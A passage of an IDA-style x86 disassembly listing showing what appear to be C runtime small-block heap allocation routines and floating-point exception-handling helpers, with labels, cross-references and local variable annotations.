		push	dword_48B684
		call	near ptr 26D0000h
		nop
		mov	esi, eax
		test	esi, esi
		jz	loc_41B9C5

loc_41B8B9:				; CODE XREF: sub_41B888+12j
		mov	ebp, dword_4241B4
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41B9AE
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41B9A0
		mov	eax, offset off_4397C0
		cmp	esi, eax
		jnz	short loc_41B918
		cmp	off_4397C0, 0
		jnz	short loc_41B908
		mov	off_4397C0, eax

loc_41B908:				; CODE XREF: sub_41B888+79j
		cmp	off_4397C4, 0
		jnz	short loc_41B92D
		mov	off_4397C4, eax
		jmp	short loc_41B92D
; ---------------------------------------------------------------------------

loc_41B918:				; CODE XREF: sub_41B888+70j
		mov	[esi], eax
		mov	eax, off_4397C4
		mov	[esi+4], eax
		mov	off_4397C4, esi
		mov	eax, [esi+4]
		mov	[eax], esi

loc_41B92D:				; CODE XREF: sub_41B888+87j
					; sub_41B888+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h

loc_41B94F:				; CODE XREF: sub_41B888+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41B94F
		push	ebx
		push	0
		push	edi
		call	sub_417330
		add	esp, 0Ch

loc_41B978:				; CODE XREF: sub_41B888+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41B99C
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41B978
; ---------------------------------------------------------------------------

loc_41B99C:				; CODE XREF: sub_41B888+F7j
		mov	eax, esi
		jmp	short loc_41B9C7
; ---------------------------------------------------------------------------

loc_41B9A0:				; CODE XREF: sub_41B888+63j
		push	8000h
		push	0
		push	edi
		nop
		call	near ptr 281073Bh

loc_41B9AE:				; CODE XREF: sub_41B888+4Bj
		cmp	esi, offset off_4397C0
		jz	short loc_41B9C5
		push	esi
		push	0
		push	dword_48B684
		nop
		call	near ptr 26C0338h

loc_41B9C5:				; CODE XREF: sub_41B888+2Bj
					; sub_41B888+12Cj
		xor	eax, eax

loc_41B9C7:				; CODE XREF: sub_41B888+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B888	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B9CC	proc near		; CODE XREF: sub_41BA22+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		nop
		call	near ptr 281073Bh
		cmp	off_43B7E0, esi
		jnz	short loc_41B9F1
		mov	eax, [esi+4]
		mov	off_43B7E0, eax

loc_41B9F1:				; CODE XREF: sub_41B9CC+1Bj
		cmp	esi, offset off_4397C0
		jz	short loc_41BA19
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_48B684
		nop
		call	near ptr 26C0338h
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41BA19:				; CODE XREF: sub_41B9CC+2Bj
		or	dword_4397D0, 0FFFFFFFFh
		pop	esi
		retn
sub_41B9CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BA22	proc near		; CODE XREF: sub_41BB3B+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_4397C4
		push	edi

loc_41BA2F:				; CODE XREF: sub_41BA22+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41BACD
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h

loc_41BA48:				; CODE XREF: sub_41BA22+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41BA89
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		nop
		call	near ptr 281073Bh
		test	eax, eax
		jz	short loc_41BA89
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_48A07C
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41BA7E
		cmp	eax, edi
		jbe	short loc_41BA81

loc_41BA7E:				; CODE XREF: sub_41BA22+56j
		mov	[esi+0Ch], edi

loc_41BA81:				; CODE XREF: sub_41BA22+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41BA96

loc_41BA89:				; CODE XREF: sub_41BA22+2Cj
					; sub_41BA22+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41BA48

loc_41BA96:				; CODE XREF: sub_41BA22+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41BACD
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41BACD
		push	1
		lea	eax, [ecx+20h]
		pop	edx

loc_41BAAD:				; CODE XREF: sub_41BA22+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41BABE
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41BAAD

loc_41BABE:				; CODE XREF: sub_41BA22+8Ej
		cmp	edx, 400h
		jnz	short loc_41BACD
		push	ecx
		call	sub_41B9CC
		pop	ecx

loc_41BACD:				; CODE XREF: sub_41BA22+11j
					; sub_41BA22+7Dj ...
		cmp	esi, off_4397C4
		jz	short loc_41BADF
		cmp	[ebp+arg_0], 0
		jg	loc_41BA2F

loc_41BADF:				; CODE XREF: sub_41BA22+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BA22	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BAE4	proc near		; CODE XREF: sub_417C3B+3Ap
					; sub_41944F+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_4397C0
		push	esi
		mov	ecx, edx

loc_41BAF0:				; CODE XREF: sub_41BAE4+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41BAFA
		cmp	eax, [ecx+14h]
		jb	short loc_41BB02

loc_41BAFA:				; CODE XREF: sub_41BAE4+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41BB37
		jmp	short loc_41BAF0
; ---------------------------------------------------------------------------

loc_41BB02:				; CODE XREF: sub_41BAE4+14j
		test	al, 0Fh
		jnz	short loc_41BB37
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41BB37
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------

loc_41BB37:				; CODE XREF: sub_41BAE4+1Aj
					; sub_41BAE4+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41BAE4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BB3B	proc near		; CODE XREF: sub_417C3B+4Dp
					; sub_41944F+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41BB7F
		inc	dword_48A07C
		cmp	dword_48A07C, 20h
		jnz	short locret_41BB7F
		push	10h
		call	sub_41BA22
		pop	ecx

locret_41BB7F:				; CODE XREF: sub_41BB3B+2Bj
					; sub_41BB3B+3Aj
		retn
sub_41BB3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB80	proc near		; CODE XREF: sub_417BC7+4Ap
					; sub_41944F+1ACp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43B7E0
		push	edi

loc_41BB8E:				; CODE XREF: sub_41BB80+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41BC39
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41BBF3

loc_41BBB9:				; CODE XREF: sub_41BB80+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41BBDC
		cmp	[edi+4], ebx
		jbe	short loc_41BBDC
		push	ebx
		push	ecx
		push	eax
		call	sub_41BD88
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BC4B
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx

loc_41BBDC:				; CODE XREF: sub_41BB80+40j
					; sub_41BB80+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41BBB9
		jmp	short loc_41BBF6
; ---------------------------------------------------------------------------

loc_41BBF3:				; CODE XREF: sub_41BB80+37j
		mov	ebx, [ebp+arg_0]

loc_41BBF6:				; CODE XREF: sub_41BB80+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41BC3C

loc_41BC09:				; CODE XREF: sub_41BB80+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41BC28
		cmp	[edi+4], ebx
		jbe	short loc_41BC28
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41BD88
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BC4B
		mov	[edi+4], ebx

loc_41BC28:				; CODE XREF: sub_41BB80+8Dj
					; sub_41BB80+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41BC09
		jmp	short loc_41BC3C
; ---------------------------------------------------------------------------

loc_41BC39:				; CODE XREF: sub_41BB80+14j
		mov	ebx, [ebp+arg_0]

loc_41BC3C:				; CODE XREF: sub_41BB80+87j
					; sub_41BB80+B7j
		mov	esi, [esi]
		cmp	esi, off_43B7E0
		jz	short loc_41BC5B
		jmp	loc_41BB8E
; ---------------------------------------------------------------------------

loc_41BC4B:				; CODE XREF: sub_41BB80+54j
					; sub_41BB80+A3j
		mov	off_43B7E0, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41BD83
; ---------------------------------------------------------------------------

loc_41BC5B:				; CODE XREF: sub_41BB80+C4j
		mov	eax, offset off_4397C0
		mov	edi, eax

loc_41BC62:				; CODE XREF: sub_41BB80+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41BC6E
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41BC7A

loc_41BC6E:				; CODE XREF: sub_41BB80+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41BD4F
		jmp	short loc_41BC62
; ---------------------------------------------------------------------------

loc_41BC7A:				; CODE XREF: sub_41BB80+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41BCA9

loc_41BC98:				; CODE XREF: sub_41BB80+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41BCA9
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41BC98

loc_41BCA9:				; CODE XREF: sub_41BB80+116j
					; sub_41BB80+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		nop
		call	near ptr 2810888h
		cmp	eax, esi
		jnz	loc_41BD81
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_417330
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41BD10
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx

loc_41BCE6:				; CODE XREF: sub_41BB80+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41BCE6

loc_41BD10:				; CODE XREF: sub_41BB80+15Ej
		mov	off_43B7E0, edi
		lea	eax, [edi+2018h]

loc_41BD1C:				; CODE XREF: sub_41BB80+1A8j
		cmp	ecx, eax
		jnb	short loc_41BD2C
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41BD2A
		add	ecx, 8
		jmp	short loc_41BD1C
; ---------------------------------------------------------------------------

loc_41BD2A:				; CODE XREF: sub_41BB80+1A3j
		cmp	ecx, eax

loc_41BD2C:				; CODE XREF: sub_41BB80+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41BD83
; ---------------------------------------------------------------------------

loc_41BD4F:				; CODE XREF: sub_41BB80+F2j
		call	sub_41B888
		test	eax, eax
		jz	short loc_41BD81
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43B7E0, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41BD83
; ---------------------------------------------------------------------------

loc_41BD81:				; CODE XREF: sub_41BB80+143j
					; sub_41BB80+1D6j
		xor	eax, eax

loc_41BD83:				; CODE XREF: sub_41BB80+D6j
					; sub_41BB80+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BB80	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BD88	proc near		; CODE XREF: sub_41BB80+4Ap
					; sub_41BB80+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41BDCD
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41BDBC
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41BDC5
; ---------------------------------------------------------------------------

loc_41BDBC:				; CODE XREF: sub_41BD88+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax

loc_41BDC5:				; CODE XREF: sub_41BD88+32j
		lea	eax, [edi+8]
		jmp	loc_41BE9B
; ---------------------------------------------------------------------------

loc_41BDCD:				; CODE XREF: sub_41BD88+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41BDD6
		mov	eax, esi

loc_41BDD6:				; CODE XREF: sub_41BD88+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41BE20

loc_41BDDD:				; CODE XREF: sub_41BD88+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41BE13
		push	1
		lea	ebx, [eax+1]
		pop	esi

loc_41BDE9:				; CODE XREF: sub_41BD88+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41BDF2
		inc	ebx
		inc	esi
		jmp	short loc_41BDE9
; ---------------------------------------------------------------------------

loc_41BDF2:				; CODE XREF: sub_41BD88+64j
		cmp	esi, edx
		jnb	short loc_41BE44
		cmp	eax, [ebp+var_4]
		jnz	short loc_41BE00
		mov	[ecx+4], esi
		jmp	short loc_41BE0C
; ---------------------------------------------------------------------------

loc_41BE00:				; CODE XREF: sub_41BD88+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41BEA5

loc_41BE0C:				; CODE XREF: sub_41BD88+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41BE18
; ---------------------------------------------------------------------------

loc_41BE13:				; CODE XREF: sub_41BD88+59j
		movzx	esi, bl
		add	eax, esi

loc_41BE18:				; CODE XREF: sub_41BD88+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41BDDD

loc_41BE20:				; CODE XREF: sub_41BD88+53j
		lea	esi, [ecx+8]

loc_41BE23:				; CODE XREF: sub_41BD88+EBj
					; sub_41BD88+F2j
		cmp	esi, edi
		jnb	short loc_41BEA5
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41BEA5
		mov	al, [esi]
		test	al, al
		jnz	short loc_41BE75
		push	1
		lea	ebx, [esi+1]
		pop	eax

loc_41BE3B:				; CODE XREF: sub_41BD88+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41BE65
		inc	ebx
		inc	eax
		jmp	short loc_41BE3B
; ---------------------------------------------------------------------------

loc_41BE44:				; CODE XREF: sub_41BD88+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41BE55
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41BE5E
; ---------------------------------------------------------------------------

loc_41BE55:				; CODE XREF: sub_41BD88+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi

loc_41BE5E:				; CODE XREF: sub_41BD88+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41BE9B
; ---------------------------------------------------------------------------

loc_41BE65:				; CODE XREF: sub_41BD88+B6j
		cmp	eax, edx
		jnb	short loc_41BE7C
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41BEA5
		mov	esi, ebx
		jmp	short loc_41BE23
; ---------------------------------------------------------------------------

loc_41BE75:				; CODE XREF: sub_41BD88+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41BE23
; ---------------------------------------------------------------------------

loc_41BE7C:				; CODE XREF: sub_41BD88+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41BE8D
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41BE96
; ---------------------------------------------------------------------------

loc_41BE8D:				; CODE XREF: sub_41BD88+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax

loc_41BE96:				; CODE XREF: sub_41BD88+103j
		mov	[esi], dl
		lea	eax, [esi+8]

loc_41BE9B:				; CODE XREF: sub_41BD88+40j
					; sub_41BD88+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41BEA7
; ---------------------------------------------------------------------------

loc_41BEA5:				; CODE XREF: sub_41BD88+7Ej
					; sub_41BD88+9Dj ...
		xor	eax, eax

loc_41BEA7:				; CODE XREF: sub_41BD88+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BD88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BEAC	proc near		; CODE XREF: sub_41944F+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41BEE6
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41BF46
; ---------------------------------------------------------------------------

loc_41BEE6:				; CODE XREF: sub_41BEAC+26j
		jnb	short loc_41BF4D
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41BF4D
		lea	eax, [ecx+edx]

loc_41BEFB:				; CODE XREF: sub_41BEAC+59j
		cmp	eax, esi
		jnb	short loc_41BF09
		cmp	byte ptr [eax],	0
		jnz	short loc_41BF07
		inc	eax
		jmp	short loc_41BEFB
; ---------------------------------------------------------------------------

loc_41BF07:				; CODE XREF: sub_41BEAC+56j
		cmp	eax, esi

loc_41BF09:				; CODE XREF: sub_41BEAC+51j
		jnz	short loc_41BF4D
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41BF41
		cmp	esi, eax
		jbe	short loc_41BF41
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41BF38
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41BF33

loc_41BF2C:				; CODE XREF: sub_41BEAC+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41BF2C

loc_41BF33:				; CODE XREF: sub_41BEAC+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41BF41
; ---------------------------------------------------------------------------

loc_41BF38:				; CODE XREF: sub_41BEAC+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax

loc_41BF41:				; CODE XREF: sub_41BEAC+68j
					; sub_41BEAC+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx

loc_41BF46:				; CODE XREF: sub_41BEAC+38j
		mov	[ebp+var_4], 1

loc_41BF4D:				; CODE XREF: sub_41BEAC:loc_41BEE6j
					; sub_41BEAC+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BEAC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_41BF55(int,int,double,int)

sub_41BF55	proc near		; CODE XREF: sub_417CA4+51p
					; sub_417DEB+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43BF38, 0
		jnz	short loc_41BF8A
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_41C50A
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41BF8A:				; CODE XREF: sub_41BF55+Aj
		push	0FFFFh
		mov	dword_48A014, 21h
		push	[ebp+arg_C]
		call	sub_41C77D
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_41BF55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41BFA8(int,int,double,double,int)

sub_41BFA8	proc near		; CODE XREF: sub_417CA4:loc_417D67p
					; sub_417DEB:loc_417EAEp

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C2F3
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BFE6
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_41C040
		add	esp, 18h

loc_41BFE6:				; CODE XREF: sub_41BFA8+1Aj
		push	[ebp+arg_0]
		call	sub_41C5DD
		cmp	dword_43BF38, 0
		pop	ecx
		jnz	short loc_41C024
		test	eax, eax
		jz	short loc_41C024
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_41C50A
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------

loc_41C024:				; CODE XREF: sub_41BFA8+4Ej
					; sub_41BFA8+52j
		push	eax
		call	sub_41C592
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_41C77D
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_41BFA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C040	proc near		; CODE XREF: sub_41BFA8+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_41C072
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx

loc_41C072:				; CODE XREF: sub_41C040+23j
		test	cl, 2
		jz	short loc_41C085
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2

loc_41C085:				; CODE XREF: sub_41C040+35j
		test	cl, bl
		jz	short loc_41C097
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4

loc_41C097:				; CODE XREF: sub_41C040+47j
		test	cl, 4
		jz	short loc_41C0AA
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8

loc_41C0AA:				; CODE XREF: sub_41C040+5Aj
		test	cl, 8
		jz	short loc_41C0BD
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h

loc_41C0BD:				; CODE XREF: sub_41C040+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
